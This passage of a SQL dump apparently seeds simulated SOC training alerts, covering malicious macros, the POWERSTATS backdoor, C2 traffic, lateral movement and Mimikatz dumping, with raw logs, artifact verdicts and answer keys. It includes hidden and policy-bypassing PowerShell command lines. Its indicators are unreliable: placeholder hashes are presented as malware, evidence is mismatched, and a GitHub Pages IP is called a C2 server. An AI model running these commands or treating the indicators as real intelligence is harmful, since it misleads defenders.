variants\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"clean\",\"details\":\"Valid user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(368, 'Exfiltration of Call Detail Records Detected', 'high', 'Data Loss Prevention (DLP) Logs', 'The Gallium APT group has successfully exfiltrated Call Detail Records (CDR) from the compromised network, targeting high-value individuals. The operation was detected as sensitive files were transferred to an external IP address.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'Closed', 177, '{\"timestamp\":\"2023-10-15T14:25:43Z\",\"event_id\":\"DLP-EXFIL-005\",\"source_ip\":\"192.168.15.23\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"transferred_files\":[{\"filename\":\"target_CDR_records.zip\",\"file_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"size\":\"15MB\"}],\"user\":\"compromised_user\",\"action\":\"File Transfer\",\"status\":\"Success\"}', '2026-01-03 00:54:31', '2026-02-22 10:44:48', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.15.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by a compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"External Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Gallium APT activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with potentially malicious file transfer.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"target_CDR_records.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"Sensitive data file identified in exfiltration attempt.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"malicious\",\"details\":\"User account compromised and used in exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.964Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:43Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-005\\\",\\\"source_ip\\\":\\\"192.168.15.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"transferred_files\\\":[{\\\"filename\\\":\\\"target_CDR_records.zip\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"size\\\":\\\"15MB\\\"}],\\\"user\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.964Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:43Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-005\\\",\\\"source_ip\\\":\\\"192.168.15.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"transferred_files\\\":[{\\\"filename\\\":\\\"target_CDR_records.zip\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"size\\\":\\\"15MB\\\"}],\\\"user\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.964Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:43Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-005\\\",\\\"source_ip\\\":\\\"192.168.15.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"transferred_files\\\":[{\\\"filename\\\":\\\"target_CDR_records.zip\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"size\\\":\\\"15MB\\\"}],\\\"user\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.964Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:43Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-005\\\",\\\"source_ip\\\":\\\"192.168.15.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"transferred_files\\\":[{\\\"filename\\\":\\\"target_CDR_records.zip\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"size\\\":\\\"15MB\\\"}],\\\"user\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.964Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:25:43Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-005\\\",\\\"source_ip\\\":\\\"192.168.15.23\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"transferred_files\\\":[{\\\"filename\\\":\\\"target_CDR_records.zip\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"size\\\":\\\"15MB\\\"}],\\\"user\\\":\\\"compromised_user\\\",\\\"action\\\":\\\"File Transfer\\\",\\\"status\\\":\\\"Success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(369, 'Suspicious Macro-Enabled Document Detected', 'high', 'Email Gateway Logs', 'A potentially malicious macro-enabled document was detected in an email attachment. The document is designed to execute a payload upon enabling macros, indicating an attempt to gain initial access.', 'Initial Access', 'T1203: Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T11:25:34Z\",\"email_sender\":\"john.doe@maliciousdomain.com\",\"email_recipient\":\"employee1@company.com\",\"subject\":\"Important Update on Your Account\",\"attachment_name\":\"AccountUpdate.docm\",\"attachment_hash\":\"4a6f0f5d2b1e8f7d9e9a6c2f3b5e7d8f\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.15\",\"malware_family\":\"Emotet\",\"action_taken\":\"Quarantined\"}', '2026-01-03 23:52:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"john.doe@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing domain associated with Emotet campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"AccountUpdate.docm\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"suspicious\",\"details\":\"Macro-enabled document potentially executing malicious code.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"4a6f0f5d2b1e8f7d9e9a6c2f3b5e7d8f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Emotet malware.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address linked to known phishing and malware distribution.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Macro-Enabled Document Detected\",\"date\":\"2026-02-01T20:32:18.965Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(370, 'Macro Execution Triggers Malicious Script', 'high', 'Endpoint Detection and Response (EDR)', 'Once the macros are enabled, a hidden script is executed, initiating the deployment of the POWERSTATS backdoor.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:22:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.45\",\"username\":\"jdoe\",\"process_name\":\"winword.exe\",\"file_name\":\"malicious_macro.docm\",\"script_executed\":\"powershell.exe -nop -w hidden -enc d2hvYW1p\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"description\":\"Macro in document executed, launching PowerShell script for POWERSTATS backdoor.\"}', '2026-01-03 23:52:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal endpoint targeted by malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_macro.docm\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Document contains macro that executes malicious script.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with the POWERSTATS malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(371, 'POWERSTATS Backdoor Installed', 'high', 'Registry Change Logs', 'The POWERSTATS backdoor has been installed on the system. It modifies registry settings to ensure continued operation across reboots, establishing persistence.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-17T14:32:45Z\",\"event_id\":4657,\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"value_name\":\"PowerStatsService\",\"value_type\":\"REG_SZ\",\"value_data\":\"C:\\\\Windows\\\\System32\\\\pstats.exe\",\"user\":\"SYSTEM\",\"user_sid\":\"S-1-5-18\",\"process_id\":1234,\"process_name\":\"regedit.exe\",\"source_ip\":\"185.199.108.153\",\"hash\":\"3cda3f53e5f4b3c6b9f02e5a1b5a6d8f\",\"internal_ip\":\"192.168.1.45\"}', '2026-01-03 23:52:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server for POWERSTATS\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3cda3f53e5f4b3c6b9f02e5a1b5a6d8f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as POWERSTATS backdoor\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"regedit.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Associated with persistence mechanism\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Internal host communicating with C2\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:18.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:32:45Z\\\",\\\"event_id\\\":4657,\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"PowerStatsService\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\pstats.exe\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"user_sid\\\":\\\"S-1-5-18\\\",\\\"process_id\\\":1234,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"hash\\\":\\\"3cda3f53e5f4b3c6b9f02e5a1b5a6d8f\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:18.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:32:45Z\\\",\\\"event_id\\\":4657,\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"PowerStatsService\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\pstats.exe\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"user_sid\\\":\\\"S-1-5-18\\\",\\\"process_id\\\":1234,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"hash\\\":\\\"3cda3f53e5f4b3c6b9f02e5a1b5a6d8f\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:18.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:32:45Z\\\",\\\"event_id\\\":4657,\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"PowerStatsService\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\pstats.exe\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"user_sid\\\":\\\"S-1-5-18\\\",\\\"process_id\\\":1234,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"hash\\\":\\\"3cda3f53e5f4b3c6b9f02e5a1b5a6d8f\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:18.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:32:45Z\\\",\\\"event_id\\\":4657,\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"PowerStatsService\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\pstats.exe\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"user_sid\\\":\\\"S-1-5-18\\\",\\\"process_id\\\":1234,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"hash\\\":\\\"3cda3f53e5f4b3c6b9f02e5a1b5a6d8f\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:18.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-17T14:32:45Z\\\",\\\"event_id\\\":4657,\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"value_name\\\":\\\"PowerStatsService\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\pstats.exe\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"user_sid\\\":\\\"S-1-5-18\\\",\\\"process_id\\\":1234,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"source_ip\\\":\\\"185.199.108.153\\\",\\\"hash\\\":\\\"3cda3f53e5f4b3c6b9f02e5a1b5a6d8f\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(372, 'Encrypted Communication with C2 Server Detected', 'high', 'Network Traffic Analysis', 'The infected system at 192.168.10.5 has begun encrypted communication with a known C2 server at 203.0.113.45 using HTTPS over non-standard ports. This behavior is consistent with advanced tactics to maintain hidden communication channels.', 'Command and Control', 'T1071.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:20Z\",\"src_ip\":\"192.168.10.5\",\"dst_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"src_port\":50505,\"dst_port\":8443,\"encrypted\":true,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"url\":\"https://203.0.113.45/command\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"payload.bin\",\"username\":\"infected_user\"}', '2026-01-03 23:52:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal network IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_service\",\"verdict\":\"malicious\",\"details\":\"Known Command and Control server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"suspicious\",\"details\":\"Associated with malware payload\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"payload.bin\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"suspicious\",\"details\":\"Potentially malicious file\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"infected_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"User account on affected system\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(373, 'Lateral Movement Attempt Detected', 'high', 'Internal Network Logs', 'An advanced lateral movement attempt was detected on the network. The attackers used a compromised host to attempt to access other machines within the network, utilizing stolen credentials and suspicious file transfers.', 'Lateral Movement', 'T1086 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_type\":\"lateral_movement\",\"source_ip\":\"10.0.1.5\",\"destination_ip\":\"192.168.1.20\",\"attacker_ip\":\"203.0.113.12\",\"compromised_user\":\"jdoe\",\"malicious_file\":\"payload.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"action\":\"PowerShell execution\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File \\\\\\\\192.168.1.20\\\\share\\\\payload.exe\",\"detected_by\":\"Host Intrusion Prevention System (HIPS)\"}', '2026-01-03 23:52:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Target internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Compromised user account\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"malicious\",\"details\":\"Suspicious executable file\"}},{\"id\":\"artifact_6\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(374, 'Credential Dumping Activity Spotted', 'high', 'Security Information and Event Management (SIEM)', 'An advanced attack has been identified where the attackers have deployed a credential dumping tool to extract passwords from memory, potentially to escalate privileges within the network. The activity was traced back to a specific host within the internal network, and network traffic analysis confirmed communication with a known malicious IP.', 'Credential Access', 'T1003.001 - OS Credential Dumping: LSASS Memory', 1, 'new', NULL, '{\"timestamp\":\"2023-10-02T14:22:35Z\",\"event_type\":\"credential_dumping\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"185.143.221.45\",\"file_name\":\"lsass_dump.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"user\":\"administrator\",\"process_name\":\"lsass.exe\",\"detected_tool\":\"Mimikatz\",\"network_traffic\":{\"bytes_sent\":2048,\"bytes_received\":1024,\"protocol\":\"HTTP\"}}', '2026-01-03 23:52:02', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal network IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.143.221.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with credential dumping activities\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"lsass_dump.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"endpoint_detection\",\"verdict\":\"suspicious\",\"details\":\"File name commonly associated with credential dumping attacks\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"File hash linked to Mimikatz 